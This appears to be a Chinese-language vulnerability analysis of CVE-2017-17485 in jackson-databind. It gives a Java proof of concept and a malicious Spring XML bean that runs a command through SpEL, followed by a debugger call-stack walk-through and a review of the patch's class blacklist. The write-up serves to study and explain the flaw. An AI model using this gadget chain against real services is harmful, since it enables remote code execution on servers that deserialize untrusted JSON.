本次Jackson反序列化漏洞是基于org.springframework.context.support.ClassPathXmlApplicationContext的利用链的。在开启enableDefaultTyping()或使用有问题的@JsonTypeInfo注解的前提下,可以通过jackson-databind来滥用Spring的SpEL表达式注入漏洞来触发Jackson反序列化漏洞的,从而达到任意命令执行的效果。

0x01 影响版本

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

0x02 限制

不受JDK限制,可直接在JDK1.8上运行。

需要服务端环境存在额外的jar包,以我本地环境为例:jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE,spring-expression-5.0.2.RELEASE,commons-logging-1.2。

0x03 复现利用

PoC.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class PoC {
public static void main(String[] args) {
//CVE-2017-17485
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

spel.xml,放置在第三方Web服务中,看到id为pb的bean标签,指定了类为java.lang.ProcessBuilder,在其中有两个子标签,constructor-arg标签设置参数值为具体的命令,property标签:

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

运行即可成功触发:

0x04 调试分析

本次的利用链是基于org.springframework.context.support.ClassPathXmlApplicationContext类,利用的原理就是SpEL表达式注入漏洞。

我们在mapper.readValue(payload, Object.class);上打上断点开始调试。

调试到UntypedObjectDeserializer.deserializeWithType()函数,其中会调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们数组形式的JSON内容:

往下调试,发现会调用BeanDeserializerBase.deserializeFromString()函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:

跟进去看StdValueInstantiator.createFromString()函数,此时_fromStringCreator变量为AnnotatedConstructor类实例,参数value值为http://127.0.0.1/spel.xml,接着就是调用AnnotatedConstructor.call1():

跟进去,调用了Constructor.newInstance()方法来创建新的实例:

往下调试,会调用到ClassPathXmlApplicationContext类的构造函数,看到configLocations参数值为spel.xml文件所在的URL地址,由于refresh参数值为True,因此会调用到refresh()函数:

注意:前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。

下面我们继续调试看看ClassPathXmlApplicationContext类的构造函数中是哪里存在有漏洞。

跟进refresh()函数,进行一系列refresh之前的准备操作后,发现调用了invokeBeanFactoryPostProcessors()函数,顾名思义,就是调用上下文中注册为beans的工厂处理器:

继续跟下去,invokeBeanFactoryPostProcessors()函数中调用了getBeanNamesForType()函数来获取Bean名类型:

往下,进一步调用doGetBeanNamesForType()函数:

在doGetBeanNamesForType()函数中,调用isFactoryBean()判断当前beanName是否为FactoryBean,此时beanName参数值为”pb”,mbd参数中识别到bean标签中的类为java.lang.ProcessBuilder:

在isFactoryBean()函数中,调用predictBeanType()函数获取Bean类型:

跟进去,predictBeanType()函数中通过调用determineTargetType()函数来预测Bean类型:

determineTargetType()函数中通过调用()函数来确定目标类型:

跟下去,AbstractBeanFactory.resolveBeanClass()->AbstractBeanFactory.doResolveBeanClass(),用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,此时className参数指向”java.lang.ProcessBuilder”:

跟进AbstractBeanFactory.evaluateBeanDefinitionString()函数,其中调用了this.beanExpressionResolver.evaluate(),此时this.beanExpressionResolver指向的是StandardBeanExpressionResolver,也就是说已经调用到对应的SpEL表达式解析器了:

跟进StandardBeanExpressionResolver.evaluate()函数,发现调用了Expression.getValue()方法即SpEL表达式执行的方法,其中sec参数是我们可以控制的内容即由spel.xml解析得到的SpEL表达式:

后续就是SpEL表达式注入漏洞导致的任意代码执行了。

至此,整个调用过程就大致过了遍。简单地说,就是传入的需要被反序列化的org.springframework.context.support.ClassPathXmlApplicationContext类,它的构造函数存在SpEL注入漏洞,进而导致可被利用来触发Jackson反序列化漏洞。

调用到evaluate()函数时的函数调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
evaluate:163, StandardBeanExpressionResolver (org.springframework.context.expression)
evaluateBeanDefinitionString:1452, AbstractBeanFactory (org.springframework.beans.factory.support)
doResolveBeanClass:1409, AbstractBeanFactory (org.springframework.beans.factory.support)
resolveBeanClass:1372, AbstractBeanFactory (org.springframework.beans.factory.support)
determineTargetType:670, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
predictBeanType:637, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
isFactoryBean:1489, AbstractBeanFactory (org.springframework.beans.factory.support)
doGetBeanNamesForType:421, DefaultListableBeanFactory (org.springframework.beans.factory.support)
getBeanNamesForType:391, DefaultListableBeanFactory (org.springframework.beans.factory.support)
invokeBeanFactoryPostProcessors:84, PostProcessorRegistrationDelegate (org.springframework.context.support)
invokeBeanFactoryPostProcessors:693, AbstractApplicationContext (org.springframework.context.support)
refresh:531, AbstractApplicationContext (org.springframework.context.support)
<init>:144, ClassPathXmlApplicationContext (org.springframework.context.support)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)
_deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:135, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:110, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:68, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:554, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:3807, ObjectMapper (com.fasterxml.jackson.databind)
readValue:2797, ObjectMapper (com.fasterxml.jackson.databind)
main:18, PoC

0x05 补丁分析

换成jackson-databind-2.7.9.2版本的jar试试,会报错,显示由于安全原因禁止了该非法类的反序列化操作:

1
com.fasterxml.jackson.databind.JsonMappingException: Illegal type (org.springframework.context.support.ClassPathXmlApplicationContext) to deserialize: prevented for security reasons

在jackson-databind-2.7.9.2-sources.jar!\com\fasterxml\jackson\databind\jsontype\impl\SubTypeValidator.java中可以看到具体的黑名单信息,很遗憾的是没看到我们的利用类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static {
Set<String> s = new HashSet<String>();
// Courtesy of [https://github.com/kantega/notsoserial]:
// (and wrt [databind#1599])
s.add("org.apache.commons.collections.functors.InvokerTransformer");
s.add("org.apache.commons.collections.functors.InstantiateTransformer");
s.add("org.apache.commons.collections4.functors.InvokerTransformer");
s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
s.add("org.codehaus.groovy.runtime.ConvertedClosure");
s.add("org.codehaus.groovy.runtime.MethodClosure");
s.add("org.springframework.beans.factory.ObjectFactory");
s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
// [databind#1680]: may or may not be problem, take no chance
s.add("com.sun.rowset.JdbcRowSetImpl");
// [databind#1737]; JDK provided
s.add("java.util.logging.FileHandler");
s.add("java.rmi.server.UnicastRemoteObject");
// [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");
s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource");
s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource");
// [databind#1855]: more 3rd party
s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
}

那么为啥能修补呢?我们调试看看。

在调用BeanDeserializerFactory.createBeanDeserializer()时,其中会调用_validateSubType()函数对子类型进行校验:

在SubTypeValidator._validateSubType()函数中看到,先进行黑名单过滤,发现类名不在黑名单后再判断是否是以”org.springframe”开头的类名,是的话循环遍历目标类的父类是否为”AbstractPointcutAdvisor”或”AbstractApplicationContext”,是的话跳出循环然后抛出异常:

而我们的利用类其继承关系是这样的:…->AbstractApplicationContext->AbstractRefreshableApplicationContext->AbstractRefreshableConfigApplicationContext->AbstractXmlApplicationContext->ClassPathXmlApplicationContext

可以看到,ClassPathXmlApplicationContext类是继承自AbstractApplicationContext类的,而该类会被过滤掉,从而没办法成功绕过利用。


OK,下一篇继续其他CVE利用链的分析。